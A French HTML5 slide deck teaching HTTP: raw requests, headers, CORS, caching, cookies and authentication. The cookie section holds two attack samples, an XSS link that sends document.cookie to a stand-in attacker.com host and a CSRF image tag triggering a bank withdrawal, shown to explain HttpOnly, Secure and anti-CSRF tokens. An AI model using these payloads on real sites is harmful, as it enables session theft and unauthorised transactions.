Cette présentation est un site en HTML5
Appuyez sur la touche → pour avancer.
Connexion à http://neverssl.com
➜ ~ host neverssl.com neverssl.com has address 52.85.74.244
➜ ~ telnet 52.85.74.244 80 Trying 52.85.74.244... Connected to 52.85.74.244. Escape character is '^]'. GET / HTTP/1.1 Host: neverssl.com HTTP/1.1 200 OK Content-Type: text/html Content-Length: 2536 Date: Sat, 18 Aug 2018 21:13:03 GMT ... <html>...ou plus simplement...
curl -I -v -XGET http://neverssl.com/
Une URI identifie.
Une URL identifie et localise.
une URN identifie et nomme.
Last-modified
, Pragma
, Expires
Accept-encoding
et Content-encoding
Host
(permettant plusieurs sites web depuis une même IP)
Accept*
),
Transfer-Encoding: chunked
(souvenez-vous des premiers chats « temps réel »)
Connection: keep-alive
permettant le pipelining :
GET / HTTP/1.1 Host: www.exemple.org Accept: text/html; q=1.0, text/*; q=0.8, image/gif; q=0.6, image/jpeg; q=0.6, image/*; q=0.5, */*; q=0.1 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Accept-Encoding: gzip,deflate Accept-Language: fr-FR; q=1.0, en; q=0.5 ...
HTTP/1.1 200 OK Content-Encoding: gzip Content-Length: 25719 Content-type: text/html; charset=UTF-8 Content-Language: en-US ...
q
est un « facteur de qualité relatif » (priorité), cf RFC2616.
GET /shops/all/address HTTP/1.1 Host: www.exemple.org Accept: application/json; q=1.0, text/xml; q=0.8 Accept-Charset: ISO-8859-1,utf-8; q=0.7, *; q=0.3 Accept-Encoding: gzip,deflate Accept-Language: fr-FR; q=1.0, en; q=0.5 ...
HTTP/1.1 200 OK Content-Encoding: gzip Content-Length: 25719 Content-type: application/json; charset=utf-8 Content-Language: en-US ...
HEAD /2390/2253727548_a413c88ab3_s.jpg HTTP/1.1 Host: farm3.static.flickr.com
HTTP/1.0 200 OK Date: Mon, 05 May 2008 00:33:14 GMT Server: Apache/2.0.52 (Red Hat) Accept-Ranges: bytes Content-Length: 3980 Content-Type: image/jpeg
GET /2390/2253727548_a413c88ab3_s.jpg HTTP/1.1 Host: farm3.static.flickr.com Range: bytes=0-999
HTTP/1.0 206 Partial Content Date: Mon, 05 May 2008 00:36:57 GMT Server: Apache/2.0.52 (Red Hat) Accept-Ranges: bytes Content-Length: 1000 Content-Range: bytes 0-999/3980 Content-Type: image/jpeg ...
Utilisé pour reprendre les téléchargements ou pour les médias (audio, vidéo, exemple)
Mécanisme des navigateurs qui restreint l’interaction d’un script JS en fonction de son origine (appel Ajax, cookie, localStorage, IndexedDB).
URL | Outcome | Reason |
---|---|---|
http://www.example.com/ | OK | Protocol, host and port |
http://www.example.com/other.html | OK | Same protocol, host and port |
http://user:password@www.example.com/ | OK | Same protocol, host and port |
http://www.example.com:81/ | KO | Different port |
https://www.example.com/ | KO | Different protocol |
http://en.example.com/ | KO | Different host |
http://example.com/ | KO | Different host |
http://v2.www.example.com/ | KO | Different host |
Historiquement en JSONP ou maintenant avec CORS
GET, HEAD, POST sous certaines conditions
Depuis inside.com/index.html, je souhaite appeler outside.com/file.json
GET /file.json HTTP/1.1 Host: outside.com Accept: text/html;q=0.9,*/*;q=0.8 Referer: http://inside.com/index.html Origin: http://inside.com
HTTP/1.1 200 OK Access-Control-Allow-Origin: http://inside.com Content-Type: application/json [json data]
Sans l’entête Access-Control-Allow-Origin
, le navigateur bloquera le contenu (notez que le serveur a servi sa réponse).
PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH ou si certains entêtes/valeurs
Le navigateur envoie une requête préliminaire (preflight)
OPTIONS /resource/ HTTP/1.1 Host: outside.com Referer: http://inside.com/form.html Origin: http://inside.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: X-PINGOTHER, Content-Type
HTTP/1.1 200 OK Access-Control-Allow-Origin: http://inside.com Access-Control-Allow-Methods: PUT, GET Access-Control-Allow-Headers: X-PINGOTHER, Content-Type Access-Control-Max-Age: 86400 Content-Length: 0
Le serveur autorise le verbe PUT et les entêtes spéciaux, le navigateur envoie alors la vraie requête
PUT /resource/ HTTP/1.1 Host: service.com Referer: http://example.org/form.html Origin: http://example.org X-PINGOTHER: pingpong Content-Type: text/xml; charset=UTF-8 Content-Length: 10 [body data]
HTTP/1.1 200 OK Access-Control-Allow-Origin: http://example.org
GET / HTTP/1.1 Host: www.exemple.org ...
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value ...
GET /page.html HTTP/1.1 Host: www.exemple.org Cookie: name=value ...Peut également être lu et écrit en JavaScript via
document.cookie
Set-Cookie: LSID=DQA…mvYg; Domain=docs.foo.com; Path=/accounts; Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQ…rdst; Domain=.foo.com; Path=/; Expires=Wed, 13-Jan-2021 22:23:01 GMT; HttpOnly
secure et HttpOnly sont très important contre le vol de cookie.
il suffit de récupèrer le cookie et le « copier » dans son navigateur. Certains services vérifient l’IP ou l’user-agent pour détecter ce genre de manipulation et bloque la connexion.
D’où le passage à HTTPS et le flag secure.
Un attaquant poste cela sur un site :
<a href="" onclick="location='//attacker.com/?cookie='+document.cookie">hello</a>
D’où l’intérêt du flag HttpOnly.
Un attaquant poste cela sur un site :
<img src="//bank.com/withdraw?amount=100&for=attacker">
Pour l’éviter, le serveur doit envoyer un jeton unique et aléatoire avant chaque requête « importante ». Le client doit obligatoirement le retransmettre dans la requête suivante.
Date: Tue, 04 Sep 2016 09:24:26 GMT Expires: Thu, 01 Dec 1994 16:00:00 GMT
Date
obligatoire !
Expires > now
: caché jusqu’à la date indiquée puis revalidation
Expires == now
: caché mais revalidation à la prochaine requête
Expires < now || Expires == -1
: pas de cache
Cache-Control: private
: cache client
Cache-Control: public
: cache client et proxy
Cache-Control: no-cache
: cache client et proxy mais revalidation
Cache-Control: no-cache=Set-Cookie
: pas de cache sur cet entête
Cache-Control: no-store
: cache client ou proxy interdit
Cache-Control: must-revalidate
: revalidation après expiration
Cache-Control: proxy-revalidate
: idem mais pour les proxies
Cache-Control: max-age=xxx
: temps relatif, en secondes
Cache-Control: s-maxage=xxx
: idem mais que pour les proxies
Cache-Control: no-transform
: les proxies ne doivent pas transformer le contenu
GET /logo.png HTTP/1.1 ...
HTTP/1.1 200 OK Date: Mon, 03 Sep 2012 15:05:20 GMT Expires: Mon, 03 Sep 2012 15:05:20 GMT Last-Modified: Mon, 02 Apr 2012 02:13:37 GMT ...Second appel
GET /logo.png HTTP/1.1 If-Modified-Since: Mon, 02 Apr 2012 02:13:37 GMT ...
HTTP/1.1 304 Not Modified Date: Mon, 03 Sep 2012 15:07:07 GMT Expires: Mon, 03 Sep 2012 15:07:07 GMT ...
GET /logo.png HTTP/1.1 ...
HTTP/1.1 200 OK ETag: "8eca4-205f-17b94c" ...Second appel
GET /logo.png HTTP/1.1 If-None-Match "8eca4-205f-17b94c" ...
HTTP/1.1 304 Not Modified ETag: "8eca4-205f-17b94c" ...
GET /file.js HTTP/1.1 Accept-Encoding: gzip, deflate ...
HTTP/1.1 200 OK Content-Encoding: gzip Date: Thu, 06 Sep 2012 13:56:47 GMT Expires: Thu, 13 Sep 2012 13:56:47 GMT ETag: M0-0eb75f26 Vary:Accept-Encoding ...
Expires
, soit Cache-Control: max-age
Last-Modified
, soit ETag
pour permettre les requêtes conditionnelles
Vary
en fonction du Content-Encoding
, Content-Type
ou encore sur les champs Accept
(Négociation de contenu)
GET / HTTP/1.1 Host: fr.mappyrecette.com ...
HTTP/1.1 401 Authorization Required WWW-Authenticate: Basic realm="Mappy authentication" ...
GET / HTTP/1.1 Host: fr.mappyrecette.com Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==$ echo -n QWxhZGRpbjpvcGVuIHNlc2FtZQ== | base64 -d # Aladdin:open sesame
HTTP/1.1 401 Authorization Required WWW-Authenticate: Digest realm="[email protected]", qop="auth, auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41" Content-type: text/html ...
GET /private/index.html HTTP/1.1 Host: www.exemple.org Authorization: Digest username="paulgreg", realm="[email protected]", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/private/index.html", qop=auth, nc=00000001, cnonce="0a4f113b", response="6629fae49393a05397450978507c4ef1", opaque="5ccc069c403ebaf9f0171e9517f40e41"
COPY /~fielding/index.html HTTP/1.1 Host: www.example.com Destination: http://www.example.com/users/f/fielding/index.html If: <http://www.example.com/users/f/fielding/index.html> (<urn:uuid:f81d4fae-7dec-11d0-a765-00a0c91e6bf6>)
HTTP/1.1 423 Locked Content-Type: application/xml; charset="utf-8" Content-Length: xxxx <?xml version="1.0" encoding="utf-8" ?> <D:error xmlns:D="DAV:"> <D:lock-token-submitted> <D:href>/locked/</D:href> </D:lock-token-submitted> </D:error>
user-agent
, accept
, etc),
telnet
curl -I -XGET
jq
(pour le JSON)